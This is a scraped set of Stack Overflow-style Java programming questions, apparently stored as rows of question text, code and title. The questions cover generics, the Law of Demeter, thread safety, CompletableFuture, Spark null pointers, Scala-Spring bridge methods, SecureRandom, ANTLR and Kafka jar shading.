Trainer < Horse > { } public interface TrainingActions < T extends Animal > { } public DogTrainer extends Trainer < Dog > { public enum Trainables implements TrainingActions < Dog > { BARK , BITE , ROLLOVER , FETCH ; } } public HorseTrainer extends Trainer < Horse > { public enum Trainables implements TrainingActions < Horse > { JUMP , TROT , REARUP ; } } public DogTrainer extends Trainer < Dog > { public enum Trainables implements TrainingActions < Dog > { BARK , BITE , ROLLOVER , FETCH ; } public Set < Trainables > completed = new HashSet < Trainables > ( ) ; public void trainingComplete ( Trainables t ) { completed.add ( t ) ; } }",`` Sets '' of a particular enum type but with generics +Java,"OverviewIn my ( Android ) Java game , I have a class called resources . As the name suggests , this class holds the resources for the game . All of my OpenGL objects ( Sprites ) are created hereIt 's looks something like the following ( obviously , this is a simplified version compared to that which appears in the real project ) : So , within my mainMenu scene , I need access my objects , so we may see something like this : Now , the above method is just one way to get access to the objects in resources and their methods . But does this actually break the Law of Demeter ? If not , why not ? If so , what is the best way to get access to these objects in a way that does not violate the LOD ? Accessors ? One option ( which I 've ruled out TBH - see below ) is placing accessor methods into my resources class . So that I could do something like : I have a lot of objects and I need an accessor for each method/variable of each object . Not really practical , it seems like I 'm writing a ton of extra code and most importantly , it makes the resources class ridiculously long as it becomes filled with these accessors . Therefore , I 'm not going down this road.Passing in objects into the scene 's constructorOf course , I can also do something like this : So I can simply do this : This is workable for simple scene 's ( such as menu systems that do n't require a lot of objects ) but for the main game , it could quickly become a mess as I 'd have to pass references to some 30+ objects into the constructor which does n't really sound quite right ... ... So I would really appreciate if someone could point out the best way to proceed and why .","public class Resources { Hero hero ; Enemy enemy ; MenuButtons mainMenuButtons ; Background background ; Scene mainMenu ; public void createObjects ( ) { hero = new Hero ( ) ; enemy = new Enemy ( ) ; mainMenuButtons = new MenuButtons ( ) ; background = new Background ( ) ; mainMenu = new Scene ( this ) ; } } public class mainMenu implements Scene { Resources resources ; public mainMenu ( Resources resources ) { this.resources = resources ; } @ Override public void render ( ) { resources.background.draw ( ) ; resources.hero.draw ( ) ; resources.enemy.draw ( ) ; mainMenuButtons.draw ( ) ; } @ Override public void updateLogic ( ) { resources.hero.move ( ) ; resources.enemy.move ( ) ; resources.mainMenubuttons.animate ( ) ; } } resources.drawBackround ( ) ; hero = new Hero ( ) ; enemy = new Enemy ( ) ; mainMenuButtons = new MenuButtons ( ) ; background = new Background ( ) ; mainMenu = new Scene ( hero , enemy , mainMenuButtons , background ) ; background.draw ( ) ; //etc ... .",Java : Accessing resources and the Law Of Demeter +Java,"I know this is a very simple question , but I have been working in Python for quite a long time and now that I must go back to Java , I seem to have problems changing the chip and wrapping my head around Java 's basic polymorphism.Is it possible to overwrite ( implement , to be precise ) a class ' abstract method in Java using one of the inherited classes as argument ? Let me explain with a very simple example ( following the `` almost official '' example with shapes ) Is there any way of having Java identifying the draw method in the CircleDrawer class as the implementation of the abstract draw in ShapeDrawer ? ( The Circle class extends from Shape after all ) Otherwise put : What I 'd like is that the draw method of the CircleDrawer class accepts only instances of type Circle , but at the same time , I 'd like to tell the Java compiler that the void draw ( Circle c ) is actually the implementation of the abstract method abstract void draw ( Shape s ) located in its parent class.Thank you in advance .",class Shape { } class Circle extends Shape { } class Triangle extends Shape { } abstract class ShapeDrawer { abstract void draw ( Shape s ) ; } class CircleDrawer extends ShapeDrawer { void draw ( Circle c ) { System.out.println ( `` Drawing circle '' ) ; } },Identify method 's signature using inherited classes in Java 's abstract methods +Java,"Possible Duplicate : Weird Java Boxing Hi , Can somebody explain why the last print returns false ? ThanksMichael",int a = 100 ; int b = 100 ; System.out.println ( a == b ) ; // prints trueInteger aa = 100 ; Integer bb = 100 ; System.out.println ( aa == bb ) ; // prints trueInteger aaa = 1000 ; Integer bbb = 1000 ; System.out.println ( aaa == bbb ) ; // prints false,java == operator +Java,"Yes , the private member variable bar should be final right ? But actually , in this instance , it is an atomic operation to simply read the value of an int . So is this technically thread safe ? // assume infinite number of threads repeatedly calling getBar on the same instance of Foo.EDIT : Assume that this is all of the code for the Foo class ; any threads with a reference to a Foo instance will not be able to change the value of bar ( without going to such lengths as using reflection etc . )",class Foo { private int bar ; public Foo ( int bar ) { this.bar = bar ; } public int getBar ( ) { return bar ; } },Is this technically thread safe despite being mutable ? +Java,"So here 's my conundrum . I am programming a tool that needs to work on old versions of our application . I have the code to the application , but can not alter any of the classes . To pull information out of our database , I have a DTO of sorts that is populated by Hibernate . It consumes a data object for version 1.0 of our app , cleverly named DataObject . Below is the DTO class.The DTO is instantiated through a Hibernate query as follows : Now , a little logic is needed on top of the data object , so I made a wrapper class for it . Note the DTO stores an instance of the wrapper class , not the original data object.This works well until I need to work on version 2.0 of our application . Now DataObject in the two versions are very similar , but not the same . This resulted in different sub classes of MyWrapperClass , which implement their own version-specific doSomethingImportant ( ) . Still doing okay . But how does myDTO instantiate the appropriate version-specific MyWrapperClass ? Hibernate is in turn instantiating MyDTO , so it 's not like I can @ Autowire a dependency in Spring.I would love to reuse MyDTO ( and my dozens of other DTOs ) for both versions of the tool , without having to duplicate the class . Do n't repeat yourself , and all that . I 'm sure there 's a very simple pattern I 'm missing that would help this . Any suggestions ?",public class MyDTO { private MyWrapperClass wrapper ; public MyDTO ( DataObject data ) { wrapper = new MyWrapperClass ( data ) ; } } select new com.foo.bar.MyDTO ( t1.data ) from mytable t1 public class MyWrapperClass { private DataObject data ; public MyWrapperClass ( DataObject data ) { this.data = data ; } public String doSomethingImportant ( ) { ... version-specific logic ... } },Pattern for version-specific implementations of a Java class +Java,"I am trying to understand CompletableFuture in Java 8 . As a part of it , I am trying to make some REST calls to solidify my understanding . I am using this library to make REST calls : https : //github.com/AsyncHttpClient/async-http-client.Please note , this library returns a Response object for the GET call.Following is what I am trying to do : Call this URL which gives the list of users : https : //jsonplaceholder.typicode.com/usersConvert the Response to List of User Objects using GSON.Iterate over each User object in the list , get the userID and then get the list of Posts made by the user from the following URL : https : //jsonplaceholder.typicode.com/posts ? userId=1Convert each post response to Post Object using GSON.Build a Collection of UserPost objects , each of which has a User Object and a list of posts made by the user . } I currently have it implemented as follows : However , I am not sure if the way I am doing this is right . More specifically , in userResponseToObject and postResponseToObject Functions , I am calling the get ( ) method on the Future , which will be blocking . Is there a better way to implement this ?","public class UserPosts { private final User user ; private final List < Post > posts ; public UserPosts ( User user , List < Post > posts ) { this.user = user ; this.posts = posts ; } @ Overridepublic String toString ( ) { return `` user = `` + this.user + `` \n '' + `` post = `` + posts+ `` \n \n '' ; } package com.CompletableFuture ; import java.util.List ; import java.util.Optional ; import java.util.concurrent.CompletableFuture ; import java.util.concurrent.Future ; import java.util.function.Function ; import java.util.stream.Collectors ; import org.asynchttpclient.Response ; import com.http.HttpResponse ; import com.http.HttpUtil ; import com.model.Post ; import com.model.User ; import com.model.UserPosts ; /** * Created by vm on 8/20/18 . */class UserPostResponse { private final User user ; private final Future < Response > postResponse ; UserPostResponse ( User user , Future < Response > postResponse ) { this.user = user ; this.postResponse = postResponse ; } public User getUser ( ) { return user ; } public Future < Response > getPostResponse ( ) { return postResponse ; } } public class HttpCompletableFuture extends HttpResponse { private Function < Future < Response > , List < User > > userResponseToObject = user - > { try { return super.convertResponseToUser ( Optional.of ( user.get ( ) .getResponseBody ( ) ) ) .get ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; return null ; } } ; private Function < Future < Response > , List < Post > > postResponseToObject = post - > { try { return super.convertResponseToPost ( Optional.of ( post.get ( ) .getResponseBody ( ) ) ) .get ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; return null ; } } ; private Function < UserPostResponse , UserPosts > buildUserPosts = ( userPostResponse ) - > { try { return new UserPosts ( userPostResponse.getUser ( ) , postResponseToObject.apply ( userPostResponse.getPostResponse ( ) ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; return null ; } } ; private Function < User , UserPostResponse > getPostResponseForUser = user - > { Future < Response > resp = super.getPostsForUser ( user.getId ( ) ) ; return new UserPostResponse ( user , resp ) ; } ; public HttpCompletableFuture ( ) { super ( HttpUtil.getInstance ( ) ) ; } public List < UserPosts > getUserPosts ( ) { try { CompletableFuture < List < UserPosts > > usersFuture = CompletableFuture .supplyAsync ( ( ) - > super.getUsers ( ) ) .thenApply ( userResponseToObject ) .thenApply ( ( List < User > users ) - > users.stream ( ) .map ( getPostResponseForUser ) .collect ( Collectors.toList ( ) ) ) .thenApply ( ( List < UserPostResponse > userPostResponses ) - > userPostResponses.stream ( ) .map ( buildUserPosts ) .collect ( Collectors.toList ( ) ) ) ; List < UserPosts > users = usersFuture.get ( ) ; System.out.println ( users ) ; return users ; } catch ( Exception e ) { e.printStackTrace ( ) ; } return null ; } }",CompletableFuture for child requests +Java,"I tried to understand what is the reason for getClass method to return Class < ? extends |X| > ? From the openjdk near public final native Class < ? > getClass ( ) ; : The actual result type is Class < ? extends |X| > where |X| is the erasure of the static type of the expression on which getClass is called.Why ca n't getClass have the same type such as XClass.class , for example :",class Foo { } Foo fooInstance = new Foo ( ) ; Class < Foo > fc = Foo.class ; // Works ! Class < Foo > fc2 = fooInstance.getClass ( ) ; // Type mismatch ; ( Class < ? > fc3 = fooInstance.getClass ( ) ; // Works ! Class < ? extends Foo > fc4 = fooInstance.getClass ( ) ; // Works !,Why does getClass return a Class < ? extends |X| > ? +Java,"The problem : I 've a Function Object interface defined in a class : I need it generic because I 'd like to use T methods in the process implementations.Then , in other generic class , I 've a Map where I have classes as keys and function objects as values : But I also want the map to accept subtype classes and function objects of supertypes OF THE KEY TYPE , so I did this : The basic idea is to be able to use the map as follows : As I want to enforce the FunctionObject has the type of the class key or a supertype , what I really would like to define is this : How can I achieve the desired effect ? Is a typesafe heterogenous container the only option ? What would the Map generic types look like to allow populating it from a reference ?","public static interface FunctionObject < T > { void process ( T object ) ; } Map < Class < T > , FunctionObject < T > > map ; Map < Class < ? extends T > , FunctionObject < ? super T > > map ; //not what I need //if T were Number , this should be legal map.put ( Class < Integer > , new FunctionObject < Integer > ( ) { ... } ) ; map.put ( Class < Float > , new FunctionObject < Number > ( ) { ... } ) ; map.put ( Class < Double > , new FunctionObject < Object > ( ) { ... } ) ; Map < Class < E extends T > , FunctionObject < ? super E > > > map ;",Generics : how to enforce restrictions between keys and values in a Map +Java,"I 'm writing an android app that does a lot of stuff . I recently refactored my code to have a better structure , but suddenly I 'm getting a very strange problem.The code above should execute a command , and store 'foo ' with if the command was executed correctly . This code is inside an Android AsyncTask ( thread ) so I use 'publishProgress ' to show a toast.I 've been flipping through the debugger and FOO is true ! The toasts show FOO to be true the entire way through as well . However , it goes ahead and jumps inside the IF block and executes that too . I 've never seen this before , I think its a problem with Java . I was stepping though the function 'executeCommand ' and it looks like it is skipping return statements too.I 've ran the code on a virtual device and a real one and they both do this.Any ideas ? I 'm completely at a loss here .",handleRequest ( String str ) { boolean foo = executeCommand ( str ) ; this.publishProgress ( `` FOO1 : `` + foo ) ; if ( foo == false ) ; { this.publishProgress ( `` FOO2 : `` + foo ) ; sendString ( `` Failed to execute : `` + str ) ; } this.publishProgress ( `` FOO3 : `` + foo ) ; sendEOM ( ) ; },IF statement is just not working +Java,"I am looking for a quick way of figuring out what part of a chain is null.An example to illustrate the point : This will obviously throw a NullPointerException . ( I know how to alter the code to make it obvious what part of the chain threw the NullPointerException , but I would like some way of figuring it out with existing code . )",public class Chain { private Chain chain ; public Chain returnChain ( ) { return chain ; } public void addChain ( Chain chain ) { this.chain=chain ; } public String toString ( ) { return `` Hello ! `` ; } public static void main ( String [ ] args ) { Chain c1 = new Chain ( ) ; c1.addChain ( new Chain ( ) ) ; System.out.println ( c1.returnChain ( ) .returnChain ( ) .returnChain ( ) .returnChain ( ) ) ; } },Finding the null in a method invocation chain +Java,"While doing a beginner 's crypto course I 'm trying to get to grips with Java 's SecureRandom object . What I think I understand is that : a ) No matter how long a sequence of random numbers you know , there is no way of predicting the next random number in the sequence.b ) No matter how long a sequence of random numbers you know , there is no way of knowing which seed was used to start them off , other than brute force guesswork.c ) You can request secure random numbers of various sizes.d ) You can seed a newly-created SRNG with various different-sized values . Every newly-created SRNG you create and seed with the same value will produce the same sequence of random numbers.I should add that I 'm assuming that this code is used on Windows : Is my basic understanding correct ? Thanks in advance.I have some further questions for anyone who 's reasonably expert in crypto . They relate to seeding a SRNG as opposed to letting it seed itself on first use.e ) What difference , if any , does it make to the random numbers generated , if you seed a SRNG with a long integer as opposed to an array of 8 bytes ? f ) If I seed a SRNG with , say , 256 bytes is there any other seed that can produce the same sequence of random numbers ? g ) Is there some kind of optimum seed size ? It seems to me that this might be a meaningless question.h ) If I encrypt a plaintext by seeding a SRNG with , say , 256 bytes then getting it to generate random bytes to XOR with the bytes in the plaintext , how easy would it be for an eavesdropper to decrypt the resulting ciphertext ? How long might it take ? Am I right in thinking that the eavesdropper would have to know , guess , or calculate the 256-byte seed ? I 've looked at previous questions about SecureRandom and none seem to answer my particular concerns.If any of these questions seem overly stupid , I 'd like to reiterate that I 'm very much a beginner in studying this field . I 'd be very grateful for any input as I want to understand how Java SecureRandom objects might be used in cryptography .","Random sr = SecureRandom.getInstance ( `` SHA1PRNG '' , `` SUN '' ) ;",I 'd like to understand Java 's SecureRandom object +Java,"I writing a simple grammar to recognize some expressions.Here , I 'm posting a simpler version of it , that I wrote just to simplify my explanation . This simpler version can recognize expressions like : this is a text [ n ] this is another text [ /n ] [ n ] [ n ] this is a compoundexpression [ /n ] [ /n ] My problem is when I sumbmit a expression like : [ i ] this should generate just a recognition exception [ /n ] A recognition exception is thrown , but the parser enters in a infinte recursion , because it matches ' [ ' , but when it not matches ' i ' it loses itself . I think that is happening because my text component of the grammar can not contain square brackets . So , I 'm posting the grammar.How can I solve it ?",grammar ErrorTest ; expression : rawText EOF | command EOF ; rawText : word+ ; word : ESPACE* TEXT ESPACE* ; command : simpleCommand | compoundCommand ; simpleCommand : HELP ; compoundCommand : rawText | BEGIN compoundCommand END ; HELP : ' [ help ] ' ; BEGIN : ' [ n ] ' ; END : ' [ /n ] ' ; ESPACE : ' ' ; TEXT : ~ ( ' '| ' [ '| ' ] ' ) * ;,Infinite recursion in ANTLR grammar +Java,"Consider the Java example below . Notice that neither of the class member variables are declared to be volatile . If I am understanding the memory model and `` happens before '' rules correctly , a Java implementation could optimize the run ( ) method so that it runs forever , even if another thread calls the stopNow ( ) method . This can happen because there is nothing in the run ( ) method that forces the thread to read the value of stop more than once . Is that correct ? If not , why not ?",class Example implements Runnable { boolean stop = false ; int value = 0 ; public void stopNow ( ) { stop = true ; } public int getValue ( ) { return value ; } @ Override public void run ( ) { // Loop until stop is set to true . while ( ! stop ) { ++value ; } return ; } },Are assignments to non-volatile member variables in one thread guaranteed to be seen in another thread ? +Java,"I get a NullPointerException in a piece of code which ca n't throw it.I start thinking to have found a bug in JRE . I am using javac 1.8.0_51 as compiler , and the problem occurs both in jre 1.8.0_45 and the latest 1.8.0_60.The line throwing the exception is inside a loop , which is inside a closure lambda function . We are running such closure in spark 1.4.The line is executed 1-2 million times , and I get the error not deterministically , with the same input , once every 3 or 4 run.I 'm pasting relevant piece of code here : I started analysing code and found that : fooArray is never null since you have `` new '' few lines abovelargerIndex is primitiveitem is never null as it is already used few lines abovegetFoo ( ) returns double with no unboxingfactor is primitiveI ca n't run the same input locally and debug it : this is run on a spark cluster . So I added some debug println before the throwing line : And this is the output : So foo [ largerIndex - 1 ] is currently throwing the null-pointer . Note that also the following throws it : But not the following : I gave a look at bytecode in class file and found nothing strange . You correctly have the reference to foo and largerIndex in the stack before iconst_1 , isub , and daload.I 'm just posting this to collect ideas before thinking to a jre bug.Does anyone of you experienced same class of problems using spark ? or lambda function in general . Is it possible to run jvm with some debug flag to help me understand this strange behavior ? Or should I file the issue to someone somewhere ?","JavaRDD ... . mapValues ( iterable - > { LocalDate [ ] dates = ... long [ ] dateDifferences = ... final double [ ] fooArray = new double [ dates.length ] ; final double [ ] barArray = new double [ dates.length ] ; for ( Item item : iterable ) { final LocalDate myTime = item.getMyTime ( ) ; final int largerIndex = ... if ( largerIndex == 0 ) { ... } else if ( largerIndex > = dates.length - 1 ) { ... } else { final LocalDate largerDate = dates [ largerIndex ] ; final long daysBetween = ... if ( daysBetween == 0 ) { ... } else { double factor = ... // * * * NULL POINTER IN NEXT LINE * * * // fooArray [ largerIndex - 1 ] += item.getFoo ( ) * factor ; fooArray [ largerIndex ] += item.getFoo ( ) * ( 1 - factor ) ; barArray [ largerIndex - 1 ] += item.getBar ( ) * factor ; barArray [ largerIndex ] += item.getBar ( ) * ( 1 - factor ) ; } } } return new NewItem ( fooArray , barArray ) ; } ) ... System.out.println ( `` largerIndex : `` + largerIndex ) ; System.out.println ( `` foo : `` + Arrays.toString ( foo ) ) ; System.out.println ( `` foo [ 1 ] : `` + foo [ 1 ] ) ; System.out.println ( `` largerIndex-1 : `` + ( largerIndex-1 ) ) ; System.out.println ( `` foo [ largerIndex ] : `` + foo [ largerIndex ] ) ; System.out.println ( `` foo [ largerIndex - 1 ] : `` + foo [ largerIndex - 1 ] ) ; largerIndex : 2foo : [ 0.0 , 0.0 , 0.0 , 0.0 , ... ] foo [ 1 ] : 0.0largerIndex-1 : 1foo [ largerIndex ] : 0.015/10/01 12:36:11 WARN scheduler.TaskSetManager : Lost task 0.0 in stage 7.0 ( TID 17162 , host13 ) : java.lang.NullPointerException at my.class.lambda $ mymethod $ 87560622 $ 1 ( MyFile.java:150 ) at my.other.class. $ $ Lambda $ 306/764841389.call ( Unknown Source ) at org.apache.spark.api.java.JavaPairRDD $ $ anonfun $ toScalaFunction $ 1.apply ( JavaPairRDD.scala:1027 ) ... int idx = largerIndex - 1 ; foo [ idx ] += ... ; foo [ 1 ] += ... . ;",NullPointerException thrown in where it ca n't be thrown +Java,"I found this example of recursion online , but I do not understand what is happening in it.the output isWhat I understand is that2 is bigger than 02 - 1 = 11 is bigger than 01 - 1 = 00 is not bigger than 0Now we jump to this line : System.out.println ( n * 4 ) ; 1 * 4 = 42 * 4 = 8Here I do not understand why I get one more `` 4 '' of outputWhat is happening in step 9 ? I used a debugger but still do not understand .",public class MysteryClass { public static void mystery ( int n ) { if ( n > 0 ) { mystery ( n-1 ) ; System.out.println ( n * 4 ) ; mystery ( n-1 ) ; } } public static void main ( String [ ] args ) { MysteryClass.mystery ( 2 ) ; } } 484,How does a recursion method work ? +Java,"I 'm using Scala 2.9.1I 've defined a Logging trait as such : And I have a JMSPublisher class which mixes-in the Logging trait : This all compiles fine . My issue is that I have a user who wants to load my JMSPublisher into Spring . He 's using Spring 2.5.6.When the ApplicationContext is loaded during startup , the app crashes with an IllegalStateException , complaining that it ca n't find a bridged-method related to my Logging trait.This code worked under Scala-2.8 , and I heard that Scala is marking trait that have some methods as bridged in 2.9 . I think this is what is causing Spring to fail . I ca n't upgrade to Scala-2.9 if my class ca n't be loaded by Spring.Has anyone run into this issue ? Is there any fix or work-around ?","trait Logging { def debug ( msg : String , throwables : Throwable* ) = ... . ... . } class JMSPublisher extends Publisher with Logging { def publishProducts ( list : List [ _ < : Product ] ) = ... . def publish ( list : Seq [ Product ] ) = ... . } Initialization of bean failed ; nested exception is java.lang.IllegalStateException : Unable to locate bridged method for bridge method 'public void com.app.messaging.JmsPublisher.debug ( java.lang.String , scala.collection.Seq ) ' at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:480 ) ... ..stack trace follows ... ... .",Scala 2.9 Bridge-Method +Java,"So imagine you have several Buttons on your layouts . The project is almost finished and there 's a lot of dynamic stuff ( programmatically setting images , listeners , statedrawables , etc . etc . ) .Now , you 're told that the buttons are kinda tricky to click so your first thought ( at least mine ) is `` ok , I 'll just make the bounding box bigger '' . To do this , I just need to give those Buttons more width and height so they will be easier to click.My problem comes when I see that those Buttons are using background to store the image and so , whenever I make them bigger so does the image inside.My question is , am I stuck with having to create a layout on top of it , assign the listener to this new , bigger layout , and then leaving the button as an image , or is there any easier way ? Thanks",/¯¯¯¯¯¯¯¯¯¯¯¯\ < - outter layout /¯¯¯¯¯¯¯¯\ | /¯¯¯¯¯¯¯¯\ | | | | | | | | BUTTON | -- - > | | BUTTON | | | | | | | | \________/ | \________/ | \____________/,imagebutton set image size +Java,"I am looping through ArrayList < Bar > . Foo extends Bar . I 'm trying to find an instance of Foo in the list.If this section of code gets run I get this error : However , in another spot , I have a method that returns an instance of Bar and I can check to see if it 's an instance of Foo using instanceof and then cast Bar to Foo with no problems : What is different here ? Here 's the real source of the issue : http : //pastie.org/private/jhyhovn7mm4ghxlxsmweogI 'm working with an API called Bukkit which allows for custom plugins for servers for a game called Minecraft . The documentation can be found here for those really interested in the issue . I 'm going to go to the official Bukkit forums and try my question there , since it is becoming more of an API specific issue , but I 'll leave all this here for those that were interested in the problem .","ArrayList < Bar > list = new ArrayList < Bar > ( ) ; // fill list with items that are instances of Foo and Barfor ( int i = 0 ; i < list.size ( ) ; i++ ) { Bar bar = list.get ( i ) ; if ( bar.getClass ( ) .getName ( ) .equals ( `` com.me.Foo '' ) ) // `` if ( bar instanceof Foo ) '' never passes { System.out.println ( `` bar is an instance of Foo '' ) ; Foo foo = ( Foo ) bar ; } } java.lang.ClassCastException : com.me.Foo can not be cast to com.me.Foo// stack Bar bar = returnBar ( ) ; // returns an instance of Bar , but the variable // it returns could be an instance of Fooif ( bar instanceof Foo ) { System.out.println ( `` bar is an instance of Foo '' ) ; Foo foo = ( Foo ) bar ; }",Foo can not be cast to Foo +Java,I have this regex which is supposed to remove sentence delimiters ( . and ? ) : It works fine it converts '' I am Java developer . '' to `` I am Java developer '' '' Am I a Java developer ? '' to `` Am I a Java developer '' But after deployment we found that it also replaces any other dots in the sentence as '' Hi.Am I a Java developer ? '' becomes `` HiAm I a Java developer '' Why is this happening ?,"sentence = sentence.replaceAll ( `` \\.|\\ ? $ '' , '' '' ) ;",Simple Java regex not working +Java,"Please help me find the reason for Thread leak in the code below . The TestThread does not get garbage collected even after run ( ) has completed ( verified from the consoled print statement ) and the main method has exited ( verified from print statement and profiler tool ) .The TestThread , however , gets garbage collected if it is set as a Daemon Thread i.e . t.setDaemon ( true ) . The code below is just a sample code which illustrates the problem in my application . I 'm trying to use some pre-existing scheduling class ( which was designed by someone else using ScheduledExecutorService ) . I notice that when I keep scheduling multiple Runnables with the class , the created threads never get garbage collected .","public class ThreadTest { static void runThreadWithExecutor ( ) { final String name = `` TestThread '' ; ScheduledExecutorService ses = Executors.newSingleThreadScheduledExecutor ( new ThreadFactory ( ) { @ Override public Thread newThread ( Runnable r ) { Thread t = new Thread ( r , name ) ; t.setDaemon ( false ) ; return t ; } } ) ; ses.schedule ( new Runnable ( ) { @ Override public void run ( ) { System.out.println ( `` entered `` + name ) ; System.out.println ( `` exiting `` + name ) ; } } , 2 , TimeUnit.SECONDS ) ; } public static void main ( String [ ] args ) throws InterruptedException { System.out.println ( `` entered main '' ) ; runThreadWithExecutor ( ) ; Thread.sleep ( 5000 ) ; System.out.println ( `` exiting main '' ) ; } }",Why UserThread running with ScheduleExecutorService does not get garbage collected +Java,"I 've moved on from trying to use OpenGL through Penumbra to trying to draw directly on a JPanel using its Graphics context . This would be great , except I 'm running into some trouble… I compile my code , and ~1 time out of 25 , the graphic ( it 's a rectangle for the example ) draws just fine . The other ~24 times , it doesn't.Here 's my code : The function draw-lineis below : I have no idea what is going on . At first I thought it was the refs I was working on , but then I took those out , and still have these problems . I 've reset lein and slime/swank and emacs , too . I 'm quite puzzled.As usual , any help would be appreciated . I hope this is a question with an answer ! Lately , I seem to be asking the impossible : )",( def main ( let [ frame ( JFrame . `` This is a test . '' ) main-panel ( JPanel . ( GridBagLayout . ) ) tpan ( proxy [ JPanel ] [ ] ( getPreferredSize [ ] ( Dimension . 600 400 ) ) ) ] ( doto frame ( set-content-pane ( doto main-panel ( grid-bag-layout : gridx 0 : gridy 0 tpan : gridx 0 : gridy 1 xy-label ) ) ) ( pack-frame ) ( set-visible ) ) ( draw-line tpan Color/RED 250 250 50 50 ) ) ) ( defn draw-line [ panel color x y w h ] ( let [ graphics ( .getGraphics panel ) ] ( doto graphics ( .setColor color ) ( .drawRect x y w h ) ) ) ),Race condition ( ? ) when using Swing +Java,"I have been using paperjs for a year now , without any issues . After a Chrome update ( Version 55.0.2883.87 m ) some production code that I had n't touched for 2 months started failing with the error : item.setRampPoint is not a function : paper-full.js:13213 Uncaught TypeError : item.setRampPoint is not a functionIf I comment out the call to setRamPoint in the paperjs code it starts working again.This happens when I try to load a SVG to the page , but , as I said before , it was working fine for a long time.I am using version 0.9.25 of paperjs.Any ideas ?",at offset ( paper-full.js:13213 ) at Object. < anonymous > ( paper-full.js:13263 ) at Object.forIn ( paper-full.js:46 ) at Function.each ( paper-full.js:133 ) at applyAttributes ( paper-full.js:13260 ) at importGroup ( paper-full.js:12944 ) at importSVG ( paper-full.js:13324 ) at Project.importSVG ( paper-full.js:13356 ) at drawAddLaneButtons ( tlc.js:267 ) at Path.window.drawTlcElements ( tlc.js:62 ),Paperjs 0.9.25 - item.setRampPoint is not a function +Java,"I have a picture that I elaborate with my program to obtain a list of coordinates.Represented in the image there is a matrix.In an ideal test i would get only the sixteen central points of each square of the matrix.But in actual tests i take pretty much noise points.I want to use an algorithm to extrapolate from the list of the coordinates , the group formed by 16 coordinates that best represent a matrix.The matrix can have any aspect ratio ( beetween a range ) and can result a little rotated.But is always an 4x4 matrix.The matrix is not always present in the image , but is not a problem , i need only the best matching.Of course the founded point are always more than 16 ( or i skip ) Example of founded points : Example of desidered result : If anyone can suggest me a preferred way to do this would be great.Im thinking about the euclidean distance beetween points.at the end if i have 16 points in the list , this could be a matrix.Any better suggestion ? Thank you","For each point in the list : 1. calculate the euclidean distance ( D ) with the others 2. filter that points that D * 3 > image.widht ( or height ) 3. see if it have at least 2 point at the same ( more or less ) distance , if not skip 4. if yes put the point in a list and for each same-distance founded points : go to 2nd step .",Recognize a Matrix in a group of points +Java,"We have a situation where we need one application to be able to connect to to two versions of kafka ( 0.7.2 and 0.10.0+ ) and act as a router . I 'm trying to omit using two runtimes here as we need this to be stupid fast , so want to prevent additional serialization/deserialization when sending data between runtimes.To do this , i 've tryied to repackage the old kafka driver from package kafka to old.kafka like so : I 'm using dependency plugin to unpack kafka classes to target/classes & shade plugin to repackage them . The reason for this is that the final jar should act as if it is a kafka driver jar ( it has no other transitive dependencies , therefore it ca n't cause some mismatch using kafka instead of old.kafka . But that 's not really the point here , just trying to prevent out-of-topic questions.The main problem here is that when i look at the jar that has been installed to .m2 , it looks correct ( having the old.kafka package ) : But when i try to use this jar as dependency like so ... ... and reference it in a class like so ... ... the import it self is not working . I have a suspicion that the shaded jar is missing something maven-related , but have n't noticed anything . Another possible though is that shade plugin or asm does n't like the bytecode that scala classes are generating .","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < parent > < artifactId > kafka-router < /artifactId > < groupId > org.deer < /groupId > < version > 1.0-SNAPSHOT < /version > < /parent > < modelVersion > 4.0.0 < /modelVersion > < artifactId > old-kafka < /artifactId > < version > 1.0-SNAPSHOT < /version > < properties > < kafka.version > 0.7.2 < /kafka.version > < /properties > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-dependency-plugin < /artifactId > < version > 3.1.1 < /version > < executions > < execution > < id > unpack < /id > < phase > compile < /phase > < goals > < goal > unpack < /goal > < /goals > < configuration > < artifactItems > < artifactItem > < groupId > org.apache.kafka < /groupId > < artifactId > kafka_2.9.2 < /artifactId > < version > $ { kafka.version } < /version > < type > jar < /type > < overWrite > false < /overWrite > < outputDirectory > $ { project.build.directory } /classes < /outputDirectory > < includes > **/*.class , **/*.xml < /includes > < /artifactItem > < /artifactItems > < includes > **/*.java < /includes > < overWriteReleases > false < /overWriteReleases > < overWriteSnapshots > true < /overWriteSnapshots > < /configuration > < /execution > < /executions > < /plugin > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-shade-plugin < /artifactId > < version > 2.2 < /version > < executions > < execution > < phase > package < /phase > < goals > < goal > shade < /goal > < /goals > < configuration > < relocations > < relocation > < pattern > kafka. < /pattern > < shadedPattern > old.kafka. < /shadedPattern > < /relocation > < /relocations > < /configuration > < /execution > < /executions > < /plugin > < /plugins > < /build > < /project > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < parent > < artifactId > kafka-router < /artifactId > < groupId > org.deer < /groupId > < version > 1.0-SNAPSHOT < /version > < /parent > < modelVersion > 4.0.0 < /modelVersion > < artifactId > router-app < /artifactId > < version > 1.0-SNAPSHOT < /version > < dependencies > < dependency > < groupId > org.deer < /groupId > < artifactId > old-kafka < /artifactId > < version > 1.0-SNAPSHOT < /version > < /dependency > < /dependencies > < /project > package org.deer.test ; import old.kafka.producer.ProducerData ; public class TwoKafkaDriversExample { public static void main ( String [ ] args ) { new ProducerData ( ) ; } }",Shaded/Repackaged jar as a dependency +Java,"I have developed a full suite of automated tests using Java , Selenium , Junit , Maven.For each test , they have one or more @ Category annotations describing what area of the software each test covers . For instance : What I 'm trying to do is find a way to get a count of how many tests contain any given category . All the possible categories are filenames in the //com/example/core/categories folder as a source list.I 've tried building a shell script to do a word count , which seems to work okay , but I would think there would be something more `` built-in '' to deal with @ 